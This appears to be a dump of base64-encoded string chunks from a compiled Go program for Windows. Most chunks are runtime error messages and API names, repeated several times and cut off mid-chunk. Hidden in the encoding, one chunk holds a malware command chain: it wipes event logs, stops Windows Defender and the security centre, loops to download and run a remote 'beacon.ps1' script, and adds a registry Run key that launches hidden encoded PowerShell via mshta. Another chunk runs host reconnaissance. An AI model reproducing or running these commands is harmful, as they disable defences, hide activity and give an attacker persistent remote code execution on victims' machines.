bmVyYXRpb25zZnVsbHkgZW1wdHkgdW5mcmVlZCBzcGFuIHNldCBibG9jayBmb3VuZCBpbiByZXNldGNhc2dzdGF0dXM6IHdhaXRpbmcgZm9yIEd3YWl0aW5nIGJ1dCBpcyBHcnVubmFibGVpbnZhbGlkIG9yIGluY29tcGxldGUgbXVsdGlieXRlIG9yIHdpZGUgY2hhcmFjdGVycnVudGltZTogdW5hYmxlIHRvIGFjcXVpcmUgLSBzZW1hcGhvcmUgb3V0IG9mIHN5bmNtYWxsb2NnYyBjYWxsZWQgd2l0aCBnY3BoYXNlID09IF9HQ21hcmt0ZXJtaW5hdGlvbnJ1bnRpbWUuUGlubmVyOiBvYmplY3Qgd2FzIGFsbG9jYXRlZCBpbnRvIGFuIGFyZW5hcnVudGltZS5QaW5uZXI6IGRlY3JlYXNlZCBub24tZXhpc3RpbmcgcGluIGNvdW50ZXJyZWN1cnNpdmUgY2FsbCBkdXJpbmcgaW5pdGlhbGl6YXRpb24gLSBsaW5rZXIgc2tld2F0dGVtcHQgdG8gZXhlY3V0ZSBzeXN0ZW0gc3RhY2sgY29kZSBvbiB1c2VyIHN0YWNrY29tcGlsZUNhbGxiYWNrOiBmdW5jdGlvbiBhcmd1bWVudCBmcmFtZSB0b28gbGFyZ2VpbnRlcm5hbCBlcnJvcjogdG9vIG1hbnkgcmVsZWFzZXMgb2YgcHJvY2VzcyBoYW5kbGVsaW1pdGVyRXZlbnQuc3RvcDogaW52YWxpZCBsaW1pdGVyIGV2ZW50IHR5cGUgZm91bmRwb3RlbnRpYWxseSBvdmVybGFwcGluZyBpbi11c2UgYWxsb2NhdGlvbnMgZGV0ZWN0ZWRydW50aW1lOiBuZXRwb2xsOg==165:T554,bm8gZGVmZXJyZXR1cm5iYWQgcmVzdGFydCBQQy10aHJlYWQgbGltaXRzdG9wbSBzcGlubmluZyBubWlkbGVsb2NrZWQ9IG5lZWRzcGlubmluZz0gc2NoZWR0aWNrcz1bIHJhbmRpbml0IHR3aWNlc3RvcmU2NCBmYWlsZWRzZW1hUm9vdCBxdWV1ZWJhZCBhbGxvY0NvdW50YmFkIHNwYW4gc3RhdGVzdGFjayBvdmVyZmxvdyB1bnR5cGVkIGFyZ3MgIG91dCBvZiByYW5nZSBubyBtb2R1bGUgZGF0YSBpbiBnb3JvdXRpbmUgcnVudGltZTogc2VxMT1ydW50aW1lOiBnb2lkPWZpbGUgdG9vIGxhcmdlaXMgYSBkaXJlY3RvcnlsZXZlbCAyIGhhbHRlZGxldmVsIDMgaGFsdGVkdG9vIG1hbnkgbGlua3NubyBzdWNoIGRldmljZXByb3RvY29sIGVycm9ydGV4dCBmaWxlIGJ1c3l0b28gbWFueSB1c2Vyc0NyeXB0R2VuUmFuZG9tQ2VydENsb3NlU3RvcmVDcmVhdGVQcm9jZXNzV0ZpbmRGaXJzdEZpbGVXRm9ybWF0TWVzc2FnZVdHZXRDb25zb2xlTW9kZUdldFByb2NBZGRyZXNzUHJvY2VzczMyTmV4dFdTZXRGaWxlUG9pbnRlck5ldFVzZXJHZXRJbmZvR2V0VXNlck5hbWVFeFdUcmFuc2xhdGVOYW1lV2dldHByb3RvYnluYW1lIHByb2NlZHVyZSBpbiB3aW5hcGkgZXJyb3IgI3VucmVhY2hhYmxlOiAgUmVnU2V0VmFsdWVFeFdjcnlwdG8vZmlwczE0MG1pbWUvbXVsdGlwYXJ0eDUwOXNoYTI1NnNraWRHZXRQcm9jZXNzVGltZXNEdXBsaWNhdGVIYW5kbGUsTTMuMi4wLE0xMS4xLjA0NzY4MzcxNTgyMDMxMjVpbnZhbGlkIGFyZ1NpemU8aW52YWxpZCBWYWx1ZT5JbXBlcnNvbmF0ZVNlbGZPcGVuVGhyZWFkVG9rZW5jb21wdXRlTWF4UHJvY3N1cGRhdGVNYXhQcm9jc0dhbGxvY21SSW50ZXJuYWxHQyAoZnJhY3Rpb25hbCl3cml0ZSBoZWFwIGR1bXBhc3luY3ByZWVtcHRvZmZjaGVja2ZpbmFsaXplcnNmb3JjZSBnYyAoaWRsZSlzeW5jLk11dGV4LkxvY2tydW50aW1lLkdvc2NoZWRtYWxsb2MgZGVhZGxvY2tydW50aW1lIGVycm9yOiBzY2FuIG1pc3NlZCBhIGdtaXNhbGlnbmVkIG1hc2tydW50aW1lOiBtaW4gPSBydW50aW0=166:T554,bm8gZGVmZXJyZXR1cm5iYWQgcmVzdGFydCBQQy10aHJlYWQgbGltaXRzdG9wbSBzcGlubmluZyBubWlkbGVsb2NrZWQ9IG5lZWRzcGlubmluZz0gc2NoZWR0aWNrcz1bIHJhbmRpbml0IHR3aWNlc3RvcmU2NCBmYWlsZWRzZW1hUm9vdCBxdWV1ZWJhZCBhbGxvY0NvdW50YmFkIHNwYW4gc3RhdGVzdGFjayBvdmVyZmxvdyB1bnR5cGVkIGFyZ3MgIG91dCBvZiByYW5nZSBubyBtb2R1bGUgZGF0YSBpbiBnb3JvdXRpbmUgcnVudGltZTogc2VxMT1ydW50aW1lOiBnb2lkPWZpbGUgdG9vIGxhcmdlaXMgYSBkaXJlY3RvcnlsZXZlbCAyIGhhbHRlZGxldmVsIDMgaGFsdGVkdG9vIG1hbnkgbGlua3NubyBzdWNoIGRldmljZXByb3RvY29sIGVycm9ydGV4dCBmaWxlIGJ1c3l0b28gbWFueSB1c2Vyc0NyeXB0R2VuUmFuZG9tQ2VydENsb3NlU3RvcmVDcmVhdGVQcm9jZXNzV0ZpbmRGaXJzdEZpbGVXRm9ybWF0TWVzc2FnZVdHZXRDb25zb2xlTW9kZUdldFByb2NBZGRyZXNzUHJvY2VzczMyTmV4dFdTZXRGaWxlUG9pbnRlck5ldFVzZXJHZXRJbmZvR2V0VXNlck5hbWVFeFdUcmFuc2xhdGVOYW1lV2dldHByb3RvYnluYW1lIHByb2NlZHVyZSBpbiB3aW5hcGkgZXJyb3IgI3VucmVhY2hhYmxlOiAgUmVnU2V0VmFsdWVFeFdjcnlwdG8vZmlwczE0MG1pbWUvbXVsdGlwYXJ0eDUwOXNoYTI1NnNraWRHZXRQcm9jZXNzVGltZXNEdXBsaWNhdGVIYW5kbGUsTTMuMi4wLE0xMS4xLjA0NzY4MzcxNTgyMDMxMjVpbnZhbGlkIGFyZ1NpemU8aW52YWxpZCBWYWx1ZT5JbXBlcnNvbmF0ZVNlbGZPcGVuVGhyZWFkVG9rZW5jb21wdXRlTWF4UHJvY3N1cGRhdGVNYXhQcm9jc0dhbGxvY21SSW50ZXJuYWxHQyAoZnJhY3Rpb25hbCl3cml0ZSBoZWFwIGR1bXBhc3luY3ByZWVtcHRvZmZjaGVja2ZpbmFsaXplcnNmb3JjZSBnYyAoaWRsZSlzeW5jLk11dGV4LkxvY2tydW50aW1lLkdvc2NoZWRtYWxsb2MgZGVhZGxvY2tydW50aW1lIGVycm9yOiBzY2FuIG1pc3NlZCBhIGdtaXNhbGlnbmVkIG1hc2tydW50aW1lOiBtaW4gPSBydW50aW1l167:T410,cGF0aD0gOiB1bmtub3duIHBjICBjYWxsZWQgZnJvbSBydW50aW1lOiBwaWQ9bGV2ZWwgMyByZXNldHNybW91bnQgZXJyb3J0aW1lciBleHBpcmVkZXhjaGFuZ2UgZnVsbFJlZ0VudW1LZXlFeFdSZWdPcGVuS2V5RXhXQ2VydE9wZW5TdG9yZUZpbmROZXh0RmlsZVdNYXBWaWV3T2ZGaWxlVmlydHVhbFVubG9ja1dyaXRlQ29uc29sZVdGcmVlQWRkckluZm9XZ2V0aG9zdGJ5bmFtZWdldHNlcnZieW5hbWVSZWdEZWxldGVLZXlXUmVnRW51bVZhbHVlV2NyeXB0by9zdWJ0bGVnb2NhY2hldmVyaWZ5aW5zdGFsbGdvcm9vdGh0bWwvdGVtcGxhdGV0bHNtYXhyc2FzaXplKHdpbmRvdy5jbG9zZSlhc3luY3RpbWVyY2hhbnVuZXhwZWN0ZWQgRU9GMTkwNzM0ODYzMjgxMjU5NTM2NzQzMTY0MDYyNXVuc2FmZS5Qb2ludGVyIG9uIHplcm8gVmFsdWV1bmtub3duIG1ldGhvZE9wZW5TQ01hbmFnZXJXTW9kdWxlMzJGaXJzdFd1c2VyQXJlbmFTdGF0ZUdDIChkZWRpY2F0ZWQpcmVhZCBtZW0gc3RhdHN1cGRhdGVtYXhwcm9jc2djc3RvcHRoZXdvcmxkcHJvZnN0YWNrZGVwdGh0cmFjZWFsbG9jZnJlZUdDIGFzc2lzdCB3YWl0ZmluYWxpemVyIHdhaXRzeW5jLkNvbmQuV2FpdHMuYWxsb2NDb3VudD0gVmFsdWUgb2YgdHlwZSBuaWwgZWxlbSB0eXBlISB0byBmaW5hbGl6ZXIgc2NhbjogY2xhc3MgTCAgZmluYWxpemVycyArIEdDIHdvcmtlciBpbml0cnVudGltZTogZnVsbD1ydW50aW1lOiB3YW50PU1COyBhbGxvY2F0ZWQgYWxsc3BhbnMgYXJyYXlzY2F2ZW5nZSBpbmRleFJ0bEdldFZlcnNpb24=168:T554,UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXMgZmFpbGVkZmF0YWw6IHN5c3RlbXN0YWNrIGNhbGxlZCBmcm9tIHVuZXhwZWN0ZWQgZ29yb3V0aW5lZ29kZWJ1ZzogVmFsdWUgb2YgbmFtZSBub3QgbGlzdGVkIGluIGdvZGVidWdzLkFsbDogZmFpbGVkIHRvIGNvcnJlY3RseSBmbHVzaCBhbGwgUC1vd25lZCBjbGVhbnVwIGJsb2Nrc3J1bnRpbWUuU2V0RmluYWxpemVyOiBwb2ludGVyIG5vdCBpbiBhbGxvY2F0ZWQgYmxvY2tydW50aW1lOiB1c2Ugb2YgRml4QWxsb2NfQWxsb2MgYmVmb3JlIEZpeEFsbG9jX0luaXRzcGFuIHNldCBibG9jayB3aXRoIHVucG9wcGVkIGVsZW1lbnRzIGZvdW5kIGluIHJlc2V0cnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IGZhaWxlZCAoZXJybm89IHJ1bnRpbWU6IE50Q3JlYXRlV2FpdENvbXBsZXRpb25QYWNrZXQgZmFpbGVkOyBlcnJubz1jYXNmcm9tX0dzY2Fuc3RhdHVzOiBncC0+c3RhdHVzIGlzIG5vdCBpbiBzY2FuIHN0YXRlbm9uLWNvbmN1cnJlbnQgc3dlZXAgZmFpbGVkIHRvIGRyYWluIGFsbCBzd2VlcCBxdWV1ZXNydW50aW1lOiBOdENhbmNlbFdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGV4aXRlZCBhIGdvcm91dGluZSBpbnRlcm5hbGx5IGxvY2tlZCB0byB0aGUgT1MgdGhyZWFkY29tcGlsZUNhbGxiYWNrOiBhcmd1bWVudCBzaXplIGlzIGxhcmdlciB0aGFuIHVpbnRwdHJzbWFsbCBtYXAgd2l0aCBubyBlbXB0eSBzbG90IChjb25jdXJyZW50IG1hcCB3cml0ZXM/KXJ1bnRpbWUubSBtZW1vcnkgYWxpZ25tZW50IHRvbyBzbWFsbCBmb3Igc3BpbmJpdCBtdXRleG1pbiBzaXplIG9mIG1hbGxvYyBoZWFkZXIgaXMgbm90IGEgc2l6ZSBjbGFzcyBib3VuZGFyeWdjQ29udHJvbGxlclN0YXRlLmZpbmRSdW5uYWJsZTogYmxhY2tlbmluZyBub3QgZW5hYmxlZG5vIGdvcm91dGluZXMgKG1haW4gY2FsbGVkIHJ1bnRpbWUuR29leGl0KSAtIGRlYWRsb2NrIXRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIGRvbg==169:T554,UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXMgZmFpbGVkZmF0YWw6IHN5c3RlbXN0YWNrIGNhbGxlZCBmcm9tIHVuZXhwZWN0ZWQgZ29yb3V0aW5lZ29kZWJ1ZzogVmFsdWUgb2YgbmFtZSBub3QgbGlzdGVkIGluIGdvZGVidWdzLkFsbDogZmFpbGVkIHRvIGNvcnJlY3RseSBmbHVzaCBhbGwgUC1vd25lZCBjbGVhbnVwIGJsb2Nrc3J1bnRpbWUuU2V0RmluYWxpemVyOiBwb2ludGVyIG5vdCBpbiBhbGxvY2F0ZWQgYmxvY2tydW50aW1lOiB1c2Ugb2YgRml4QWxsb2NfQWxsb2MgYmVmb3JlIEZpeEFsbG9jX0luaXRzcGFuIHNldCBibG9jayB3aXRoIHVucG9wcGVkIGVsZW1lbnRzIGZvdW5kIGluIHJlc2V0cnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IGZhaWxlZCAoZXJybm89IHJ1bnRpbWU6IE50Q3JlYXRlV2FpdENvbXBsZXRpb25QYWNrZXQgZmFpbGVkOyBlcnJubz1jYXNmcm9tX0dzY2Fuc3RhdHVzOiBncC0+c3RhdHVzIGlzIG5vdCBpbiBzY2FuIHN0YXRlbm9uLWNvbmN1cnJlbnQgc3dlZXAgZmFpbGVkIHRvIGRyYWluIGFsbCBzd2VlcCBxdWV1ZXNydW50aW1lOiBOdENhbmNlbFdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGV4aXRlZCBhIGdvcm91dGluZSBpbnRlcm5hbGx5IGxvY2tlZCB0byB0aGUgT1MgdGhyZWFkY29tcGlsZUNhbGxiYWNrOiBhcmd1bWVudCBzaXplIGlzIGxhcmdlciB0aGFuIHVpbnRwdHJzbWFsbCBtYXAgd2l0aCBubyBlbXB0eSBzbG90IChjb25jdXJyZW50IG1hcCB3cml0ZXM/KXJ1bnRpbWUubSBtZW1vcnkgYWxpZ25tZW50IHRvbyBzbWFsbCBmb3Igc3BpbmJpdCBtdXRleG1pbiBzaXplIG9mIG1hbGxvYyBoZWFkZXIgaXMgbm90IGEgc2l6ZSBjbGFzcyBib3VuZGFyeWdjQ29udHJvbGxlclN0YXRlLmZpbmRSdW5uYWJsZTogYmxhY2tlbmluZyBub3QgZW5hYmxlZG5vIGdvcm91dGluZXMgKG1haW4gY2FsbGVkIHJ1bnRpbWUuR29leGl0KSAtIGRlYWRsb2NrIXRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIGRvbmU=16a:T54c,cmN4ICAgICByZHggICAgIHJkaSAgICAgcnNpICAgICByYnAgICAgIHJzcCAgICAgcjggICAgICByOSAgICAgIHIxMCAgICAgcjExICAgICByMTIgICAgIHIxMyAgICAgcjE0ICAgICByMTUgICAgIHJpcCAgICAgcmZsYWdzICBjcyAgICAgIGZzICAgICAgZ3MgICAgICAgaXMgbm90ICBwb2ludGVyQkFEIFJBTksgc3RhdHVzIHVua25vd24odHJpZ2dlcj0gbnBhZ2VzPSBuYWxsb2M9IG5mcmVlZD1bc2lnbmFsICBuZXd2YWw9IG1jb3VudD0gYnl0ZXMsICBzdGFjaz1bIG1pbkxDPSAgbWF4cGM9ICBwYWNrZWQ9IC0+IHB0cj1zdGFjaz1bIG1pbnV0ZXMgc3RhdHVzPSBldHlwZXMgbm8gYW5vZGVDYW5jZWxJb1JlYWRGaWxlQWNjZXB0RXhXU0FJb2N0bHNodXRkb3dub3ZlcmZsb3dhdng1MTJid2F2eDUxMnZsZ28vdHlwZXNuZXQvaHR0cGdvL2J1aWxkbmV0ZWRuczB0bHNtbGtlbW1zaHRhLmV4ZXZic2NyaXB0OmZvcmsvZXhlYyNleGVjd2FpdFdlZG5lc2RheVNlcHRlbWJlcjI0NDE0MDYyNWNvbXBsZXg2NGludGVyZmFjZWludmFsaWQgbnJlZmxlY3Q6IGZ1bmNhcmdzKGJhZCBpbmRpckludGVyZmFjZXJ3eHJ3eHJ3eG50ZGxsLmRsbHBzYXBpLmRsbHRpbWVyU2VuZHBvbGxDYWNoZXByb2ZCbG9ja3N0YWNrcG9vbGhjaGFuTGVhZndidWZTcGFuc0dDIChpZGxlKW1TcGFuRGVhZGluaXR0cmFjZXNjYXZ0cmFjZXBhbmljd2FpdGNoYW4gc2VuZHByZWVtcHRlZGNvcm91dGluZWNvcHlzdGFja2ZpbmFsaXplciBtcyBjcHUsICAoZm9yY2VkKSBzcGFucS5uPSB3YnVmMS5uPSB3YnVmMi5uPSBzLmxpbWl0PSBzLnN0YXRlPSBCIHdvcmsgKCBCIGV4cC4pICBtYXJrZWQgICB1bm1hcmtlZCBpbiB1c2UpLCBzaXplID0gYmFkIHBydW5lLCB0YWlsID0gcmVjb3ZlcjogIG5vdCBpbiBbY3R4dCAhPSAwLCBvbGR2YWw9LCBuZXd2YWw9IHRocmVhZHM9OiBzdGF0dXM9IGJsb2NrZWQ9IGxvY2tlZGc9YXRvbWljb3I4IHJ1bnRpbWU9IG0tPmN1cmc9KHVua25vd24pdG90YWwgPCAwdHJhY2ViYWNrKGR1cmFibGUpfSBz16b:T550,cmN4ICAgICByZHggICAgIHJkaSAgICAgcnNpICAgICByYnAgICAgIHJzcCAgICAgcjggICAgICByOSAgICAgIHIxMCAgICAgcjExICAgICByMTIgICAgIHIxMyAgICAgcjE0ICAgICByMTUgICAgIHJpcCAgICAgcmZsYWdzICBjcyAgICAgIGZzICAgICAgZ3MgICAgICAgaXMgbm90ICBwb2ludGVyQkFEIFJBTksgc3RhdHVzIHVua25vd24odHJpZ2dlcj0gbnBhZ2VzPSBuYWxsb2M9IG5mcmVlZD1bc2lnbmFsICBuZXd2YWw9IG1jb3VudD0gYnl0ZXMsICBzdGFjaz1bIG1pbkxDPSAgbWF4cGM9ICBwYWNrZWQ9IC0+IHB0cj1zdGFjaz1bIG1pbnV0ZXMgc3RhdHVzPSBldHlwZXMgbm8gYW5vZGVDYW5jZWxJb1JlYWRGaWxlQWNjZXB0RXhXU0FJb2N0bHNodXRkb3dub3ZlcmZsb3dhdng1MTJid2F2eDUxMnZsZ28vdHlwZXNuZXQvaHR0cGdvL2J1aWxkbmV0ZWRuczB0bHNtbGtlbW1zaHRhLmV4ZXZic2NyaXB0OmZvcmsvZXhlYyNleGVjd2FpdFdlZG5lc2RheVNlcHRlbWJlcjI0NDE0MDYyNWNvbXBsZXg2NGludGVyZmFjZWludmFsaWQgbnJlZmxlY3Q6IGZ1bmNhcmdzKGJhZCBpbmRpckludGVyZmFjZXJ3eHJ3eHJ3eG50ZGxsLmRsbHBzYXBpLmRsbHRpbWVyU2VuZHBvbGxDYWNoZXByb2ZCbG9ja3N0YWNrcG9vbGhjaGFuTGVhZndidWZTcGFuc0dDIChpZGxlKW1TcGFuRGVhZGluaXR0cmFjZXNjYXZ0cmFjZXBhbmljd2FpdGNoYW4gc2VuZHByZWVtcHRlZGNvcm91dGluZWNvcHlzdGFja2ZpbmFsaXplciBtcyBjcHUsICAoZm9yY2VkKSBzcGFucS5uPSB3YnVmMS5uPSB3YnVmMi5uPSBzLmxpbWl0PSBzLnN0YXRlPSBCIHdvcmsgKCBCIGV4cC4pICBtYXJrZWQgICB1bm1hcmtlZCBpbiB1c2UpLCBzaXplID0gYmFkIHBydW5lLCB0YWlsID0gcmVjb3ZlcjogIG5vdCBpbiBbY3R4dCAhPSAwLCBvbGR2YWw9LCBuZXd2YWw9IHRocmVhZHM9OiBzdGF0dXM9IGJsb2NrZWQ9IGxvY2tlZGc9YXRvbWljb3I4IHJ1bnRpbWU9IG0tPmN1cmc9KHVua25vd24pdG90YWwgPCAwdHJhY2ViYWNrKGR1cmFibGUpfSBzdA==16c:T554,cmQgVGltZVBha2lzdGFuIFN0YW5kYXJkIFRpbWVTYWtoYWxpbiBTdGFuZGFyZCBUaW1lR2VvcmdpYW4gU3RhbmRhcmQgVGltZUNhdWNhc3VzIFN0YW5kYXJkIFRpbWVUYXNtYW5pYSBTdGFuZGFyZCBUaW1lRGF0ZWxpbmUgU3RhbmRhcmQgVGltZUhhd2FpaWFuIFN0YW5kYXJkIFRpbWU0NjU2NjEyODczMDc3MzkyNTc4MTI1dW5leHBlY3RlZCBtZXRob2Qgc3RlcENyZWF0ZUlvQ29tcGxldGlvblBvcnRSdGxMb29rdXBGdW5jdGlvbkVudHJ5TnRRdWVyeUluZm9ybWF0aW9uRmlsZUNyZWF0ZUVudmlyb25tZW50QmxvY2tXU0FHZXRPdmVybGFwcGVkUmVzdWx0aW50ZWdlciBkaXZpZGUgYnkgemVyb0NvdW50UGFnZXNJblVzZSAodGVzdClSZWFkTWV0cmljc1Nsb3cgKHRlc3QpdHJhY2UgcmVhZGVyIChibG9ja2VkKXRyYWNlIGdvcm91dGluZSBzdGF0dXNHQyB3ZWFrIHRvIHN0cm9uZyB3YWl0Y2hhbiByZWNlaXZlIChkdXJhYmxlKXNlbmQgb24gY2xvc2VkIGNoYW5uZWxjYWxsIG5vdCBhdCBzYWZlIHBvaW50Z2V0ZW52IGJlZm9yZSBlbnYgaW5pdGludGVyZmFjZSBjb252ZXJzaW9uOiBmcmVlSW5kZXggaXMgbm90IHZhbGlkcy5mcmVlaW5kZXggPiBzLm5lbGVtc2JhZCBzd2VlcGdlbiBpbiByZWZpbGxzcGFuIGhhcyBubyBmcmVlIHNwYWNlL2djL3NjYW4vZ2xvYmFsczpieXRlcy9nYy9oZWFwL2ZyZWVzOm9iamVjdHNydW50aW1lOiB3b3JrLm53YWl0ID0gcnVudGltZTpzY2Fuc3RhY2s6IGdwPXNjYW5zdGFjayAtIGJhZCBzdGF0dXNoZWFkVGFpbEluZGV4IG92ZXJmbG93cnVudGltZS5tYWluIG5vdCBvbiBtMHNldF9jcm9zc2NhbGwyIG1pc3NpbmdiYWQgZy0+c3RhdHVzIGluIHJlYWR5d2lyZXA6IGludmFsaWQgcCBzdGF0ZWFzc2VtYmx5IGNoZWNrcyBmYWlsZWRzdGFjayBub3QgYSBwb3dlciBvZiAybWlucGMgb3IgbWF4cGMgaW52YWxpZGNvbXBpbGVDYWxsYmFjazogdHlwZSBzeXNjYWxsOiBuID4gbGVuKGFyZ3Mpbm9uLUdvIGZ1bmN0aW9uIGF0IHBjPWFyZ3VtZW50IGxpc3QgdG9vIGxvbmdhZGRy16d:T558,cmQgVGltZVBha2lzdGFuIFN0YW5kYXJkIFRpbWVTYWtoYWxpbiBTdGFuZGFyZCBUaW1lR2VvcmdpYW4gU3RhbmRhcmQgVGltZUNhdWNhc3VzIFN0YW5kYXJkIFRpbWVUYXNtYW5pYSBTdGFuZGFyZCBUaW1lRGF0ZWxpbmUgU3RhbmRhcmQgVGltZUhhd2FpaWFuIFN0YW5kYXJkIFRpbWU0NjU2NjEyODczMDc3MzkyNTc4MTI1dW5leHBlY3RlZCBtZXRob2Qgc3RlcENyZWF0ZUlvQ29tcGxldGlvblBvcnRSdGxMb29rdXBGdW5jdGlvbkVudHJ5TnRRdWVyeUluZm9ybWF0aW9uRmlsZUNyZWF0ZUVudmlyb25tZW50QmxvY2tXU0FHZXRPdmVybGFwcGVkUmVzdWx0aW50ZWdlciBkaXZpZGUgYnkgemVyb0NvdW50UGFnZXNJblVzZSAodGVzdClSZWFkTWV0cmljc1Nsb3cgKHRlc3QpdHJhY2UgcmVhZGVyIChibG9ja2VkKXRyYWNlIGdvcm91dGluZSBzdGF0dXNHQyB3ZWFrIHRvIHN0cm9uZyB3YWl0Y2hhbiByZWNlaXZlIChkdXJhYmxlKXNlbmQgb24gY2xvc2VkIGNoYW5uZWxjYWxsIG5vdCBhdCBzYWZlIHBvaW50Z2V0ZW52IGJlZm9yZSBlbnYgaW5pdGludGVyZmFjZSBjb252ZXJzaW9uOiBmcmVlSW5kZXggaXMgbm90IHZhbGlkcy5mcmVlaW5kZXggPiBzLm5lbGVtc2JhZCBzd2VlcGdlbiBpbiByZWZpbGxzcGFuIGhhcyBubyBmcmVlIHNwYWNlL2djL3NjYW4vZ2xvYmFsczpieXRlcy9nYy9oZWFwL2ZyZWVzOm9iamVjdHNydW50aW1lOiB3b3JrLm53YWl0ID0gcnVudGltZTpzY2Fuc3RhY2s6IGdwPXNjYW5zdGFjayAtIGJhZCBzdGF0dXNoZWFkVGFpbEluZGV4IG92ZXJmbG93cnVudGltZS5tYWluIG5vdCBvbiBtMHNldF9jcm9zc2NhbGwyIG1pc3NpbmdiYWQgZy0+c3RhdHVzIGluIHJlYWR5d2lyZXA6IGludmFsaWQgcCBzdGF0ZWFzc2VtYmx5IGNoZWNrcyBmYWlsZWRzdGFjayBub3QgYSBwb3dlciBvZiAybWlucGMgb3IgbWF4cGMgaW52YWxpZGNvbXBpbGVDYWxsYmFjazogdHlwZSBzeXNjYWxsOiBuID4gbGVuKGFyZ3Mpbm9uLUdvIGZ1bmN0aW9uIGF0IHBjPWFyZ3VtZW50IGxpc3QgdG9vIGxvbmdhZGRyZQ==16e:T478,cmZhY2U6IGNhbm5vdCByZXR1cm4gdmFsdWUgb2J0YWluZWQgZnJvbSB1bmV4cG9ydGVkIGZpZWxkIG9yIG1ldGhvZGNnb2NoZWNrID4gMSBtb2RlIGlzIG5vIGxvbmdlciBzdXBwb3J0ZWQgYXQgcnVudGltZS4gVXNlIEdPRVhQRVJJTUVOVD1jZ29jaGVjazIgYXQgYnVpbGQgdGltZSBpbnN0ZWFkLndldnR1dGlsIGVsfCUge3dldnR1dGlsIGNsICIkXyJ9O25ldCBzdG9wIFdpbkRlZmVuZDtuZXQgc3RvcCB3c2NzdmM7U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZXdoaWxlKCR0cnVlKXt0cnl7JHdjPU5ldy1PYmplY3QgTmV0LldlYkNsaWVudDskd2MuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpO0lFWCgkd2MuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9iZWFjb24ucHMxJykpfWNhdGNoe307U3RhcnQtU2xlZXAgLXMgMzB9cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZjAwMDEwMjAzMDQwNTA2MDcwODA5MTAxMTEyMTMxNDE1MTYxNzE4MTkyMDIxMjIyMzI0MjUyNjI3MjgyOTMwMzEzMjMzMzQzNTM2MzczODM5NDA0MTQyNDM0NDQ1NDY0NzQ4NDk1MDUxNTI1MzU0NTU1NjU3NTg1OTYwNjE2MjYzNjQ2NTY2Njc2ODY5NzA3MTcyNzM3NDc1NzY3Nzc4Nzk4MDgxODI4Mzg0ODU4Njg3ODg4OTkwOTE5MjkzOTQ5NTk2OTc5ODk516f:T554,cnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mb0dPREVCVUc9ZXhlY3dhaXQ9MiBkZXRlY3RlZCBhIGxlYWtlZCBleGVjLkNtZCBjcmVhdGVkIGJ5OnJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuRWxlbSBvbiBhbiBpbnZhbGlkIG5vdGluaGVhcCBwb2ludGVydHJpZWQgdG8gdHJhY2UgZ29yb3V0aW5lIHdpdGggaW52YWxpZCBvciB1bnN1cHBvcnRlZCBzdGF0dXNyZWZsZWN0OiBjYWxsIG9mIHJlZmxlY3QuVmFsdWUuTGVuIG9uIHB0ciB0byBub24tYXJyYXkgVmFsdWVtYW51YWwgc3BhbiBhbGxvY2F0aW9uIGNhbGxlZCB3aXRoIG5vbi1tYW51YWxseS1tYW5hZ2VkIHR5cGVhZGRyIHJhbmdlIGJhc2UgYW5kIGxpbWl0IGFyZSBub3QgaW4gdGhlIHNhbWUgbWVtb3J5IHNlZ21lbnRydW50aW1lOiBuZXRwb2xsOiBQb3N0UXVldWVkQ29tcGxldGlvblN0YXR1cyBmYWlsZWQgKGVycm5vPSBydW50aW1lOiBtYWxmb3JtZWQgcHJvZkJ1ZiBidWZmZXIgLSB0YWcgYW5kIGRhdGEgb3V0IG9mIHN5bmNleGVjOiBDbWQgc3RhcnRlZCBhIFByb2Nlc3MgYnV0IGxlYWtlZCB3aXRob3V0IGEgY2FsbCB0byBXYWl0ICBpcyBpbiBhIHRpbnkgYmxvY2sgd2l0aCBvdGhlciAocG9zc2libHkgbG9uZy1saXZlZCkgdmFsdWVzcmVmbGVjdDogcmVmbGVjdC5WYWx1ZS5Qb2ludGVyIG9uIGFuIGludmFsaWQgbm90aW5oZWFwIHBvaW50ZXJmb3VuZCBiYWQgcG9pbnRlciBpbiBHbyBoZWFwIChpbmNvcnJlY3QgdXNlIG9mIHVuc2FmZSBvciBjZ28/KWxpbWl0ZXJFdmVudC5zdG9wOiBmb3VuZCB3cm9uZyBldmVudCBpbiBwJ3MgbGltaXRlciBldmVudCBzbG90cnVudGltZTogaW50ZXJuYWwgZXJyb3I6IG1pc3VzZSBvZiBsb2NrT1NUaHJlYWQvdW5sb2NrT1NUaHJlYWRydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBlcXVhbCB0byBhcmcsIGNsZWFudXAgd2lsbCBuZXZlciBydW5pbnRlcm5hbC9zeW5jLkhhc2hUcmllTWFwOiByYW4gb3V0IG9mIGhhc2ggYml0cyB3aGlsZSBpdGVyYXRpbmdpbnRlcg==170:T554,cnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mb0dPREVCVUc9ZXhlY3dhaXQ9MiBkZXRlY3RlZCBhIGxlYWtlZCBleGVjLkNtZCBjcmVhdGVkIGJ5OnJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuRWxlbSBv